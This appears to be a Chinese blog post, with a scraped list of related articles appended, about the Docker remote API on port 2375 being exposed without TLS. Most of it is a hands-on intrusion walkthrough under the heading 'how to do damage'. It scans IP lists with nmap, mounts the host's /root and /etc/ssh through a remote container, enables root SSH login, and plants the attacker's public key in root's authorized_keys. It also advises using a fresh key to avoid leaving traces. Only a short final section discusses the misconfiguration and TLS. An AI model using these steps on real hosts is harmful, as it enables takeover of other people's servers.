记录一年前'百度云的docker服务器'被'挖矿'

一    docker开启远程连接

docker remote API  -->  2375是docker远程操控的'默认端口'场景: 为了'方便IDEA调试','未经过TLS加密'-->没有'设置CA证书',通过'2375端口'可以'直接对远程的docker daemon进行操作,导致'被黑'

配置

'注意:服务侧关闭firewalld和selinux'  -->systemctl stop firewalld---------  '必须用防火墙'  ---------防火墙'开启2375端口'firewall-cmd --zone=public --add-port=2375/tcp --permanentsystemctl  restart firewalld

获取2375端口

'ip.list' -->'ip列表'cat ip.list | xargs -n 1 -I {} nmap -sT -p2375 {} --open  xargs 将'过滤出来的IP'一个一个的'分次送给nmap',-I {} 是指使用{}来'代替'传送的参数# Starting Nmap 7.01 ( https://nmap.org ) at 2020-09-05 09:37 CST
# Nmap scan report for ip
# Host is up (0.070s latency).
# PORT     STATE SERVICE
# 2375/tcp open  docker
# ...

如何搞破坏呢?

docker images '直接看到内容',说明这个主机的2375是'没有ssl验证的','基本满足入侵要求'

没有自己需要的容器,那下载一个

'没有会自动下载'docker -H tcp://172.25.2.157:2375 run --rm -it \-v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log centos /bin/bash

重点来了

'ssh pub key' 注入细节1: 在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config '宿主机的/etc/ssh/sshd_config' 的PermitRootLogin字段,如果是no就改成yes,允许root通过ssh登录-->'root权限获取''容器内': vi /tmp/ssh_etc/sshd_config然后在'自己的机器'上生成一对新的'pub key'(已经有ssh key的也建议'生成一个新的',不要使用自己日常使用的ssh pub key)-->'痕迹你懂的'

生成公钥和私钥

# 使用 ssh-keygen生成ssh-keygen -t rsa -C "wzj@qq.com"注意:执行命令后的'提示' Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以'选着/tmp/id_rsa'其它'提示'enter到底即可---------   继续,'注入ssh pub key',回到刚刚'启动'的容器执行    ---------cat >> /tmp/root/.ssh/authorized_keys <<EOF>ssh-rsa AAA....    后面'粘贴'你刚刚在自己机器生成的/tmp/'id_rsa.pub' -->'一定是公钥'
>EOF如果/tmp/root/.ssh目录不存在,就'直接创建'

登陆服务器

ssh -i 指定'秘钥登录'ssh -i /tmp/id_rsa root@172.25.2.157

最终效果

报错提示

'已知的错误'1) 公钥不对     --> '容器内配置成私钥'2) 文件权限不对  --> '容器'chmod 600 /tmp/root/.ssh/authorized_keys

二   2375是漏洞吗

2375'直接裸露地暴露在公网上'纯属是'用户习惯或者偷懒'的问题,2375可以在相对安全的'内部网络中'方便测试使用,并'不适合'使用在投入到'生产环境'中'docker info' --> '提示信息'如果将daemon直接暴露在一个TCP端口,将可能会被'以非root用户'去获'取宿主机'的root权限

官方配置ssl

自己写的

Docker(十二)2375的血泪相关推荐

  1. Docker(十二):Docker+Jenkins+Nginx+Spring Boot 自动化部署项目

    前言 虽然Docker已经是风靡全球的容器技术了,统一环境避免环境问题上是Docker的主要吸引点之一,但使用时详细还是会遇到不少问题的,比如个人搭建时曾思考过这些问题: Jenkins官网既然有Do ...

  2. Docker最全教程之Python爬网实战(二十二)

    Python目前是流行度增长最快的主流编程语言,也是第二大最受开发者喜爱的语言(参考Stack Overflow 2019开发者调查报告发布).笔者建议.NET.Java开发人员可以将Python发展 ...

  3. Docker最全教程之使用 Visual Studio Code玩转Docker(二十一)

    VS Code是一个年轻的编辑器,但是确实是非常犀利.通过本篇,老司机带你使用VS Code玩转Docker--相信阅读本篇之后,无论是初学者还是老手,都可以非常方便的玩转Docker了!所谓是&qu ...

  4. Docker学习二:Docker镜像与容器

    前言 本次学习来自于datawhale组队学习: 教程地址为: https://github.com/datawhalechina/team-learning-program/tree/master/ ...

  5. Golang 在十二赞的深度应用

    Golang 在十二赞的深度应用 我们是"十二赞",一个致力于帮助电商卖家进入小程序的小团队,我们的主页是http://www.12zan.cn/.在实际运行中,我们使用了大量由g ...

  6. 万字面试分享贴!从十二个角度解析面试全流程!附互联网公司Offer难度系数分析...

    点击上方"视学算法",选择加"星标"或"置顶" 重磅干货,第一时间送达 作者丨ELon Z 来源丨AI机器学习与知识图谱 编辑丨极市平台 本 ...

  7. 【Microsoft Azure 的1024种玩法】四十二. 通过Windows Admin Center快速创建Azure Virtual Machines

    [简介] Windows Admin Center是微软开发的一套可以部署在本地基于浏览器的GUI的工具集平台,其平台可用于管理Windows相关服务器和PC机器,我们可以利用Windows Admi ...

  8. 纯干货!Java后端开发十二条经验分享!

    前言 本文是博主从事后端开发以来,对公司.个人项目的经验总结,包含代码编写.功能推荐.第三方库使用及优雅配置等,希望大家看到都能有所收获 一. 优雅的进行线程池异常处理 在Java开发中,线程池的使用 ...

  9. 自然语言处理系列二十二》词性标注》词性标注原理》词性介绍

    注:此文章内容均节选自充电了么创始人,CEO兼CTO陈敬雷老师的新书<分布式机器学习实战>(人工智能科学与技术丛书)[陈敬雷编著][清华大学出版社] 文章目录 自然语言处理系列二十二 词性 ...

最新文章

  1. python编写脚本方法_【Python】教你一步步编写banner获取脚本
  2. Spring Boot(十一)Redis集成从Docker安装到分布式Session共享
  3. P1083 借教室(标记永久化线段树/二分+前缀和)难度⭐⭐⭐★
  4. 必须学会的几种网络测试方法
  5. SAP SD 定价过程的16个字段的作用说明
  6. java.lang.IllegalArgumentException: No Retrofit annotation found. (parameter #4)
  7. IOS自动化打包介绍
  8. 两个结构体ifconf和ifreq
  9. css控制的代码,通过CSS控制把网页上的代码美化
  10. 如何关闭rsyslog服务?_Linux日志服务器设置过程
  11. adapter 适配器
  12. 【华为云技术分享】40%性能提升,华为云推出PostgreSQL 12 商用版
  13. 【clickhouse】clickhouse 副本与分片 分片详解
  14. CIO众论:转型路径和新技术实践
  15. 阿里云服务器centos7 安装docker 和docker-compose 及相关命令
  16. js html方法的区别吗,jquery append()方法与html()方法的区别及使用介绍
  17. c语言程序设计实验第二版答案,C语言程序设计实验指导及习题答案
  18. Mujoco中旋转轴的定义
  19. 微信小程序轮播图swiper使用
  20. C#软件注册与注册机

热门文章

  1. Java_idea+MySQL基于Springboot口腔牙科诊所管理系统#vue毕业设计
  2. Harbor整体架构
  3. 【JavaWeb】Java/Java web第一阶段总结
  4. linux常用快捷指令
  5. arduino 串口监视器数据传到本地txt文件
  6. springboot定时发邮件
  7. ABB机器人实用配置之安全逻辑
  8. 软件测试基本方法(七)之验收测试
  9. 精密电阻的丝印识别方法
  10. VHDL实验1:浮点型乘法器及分步代码(1)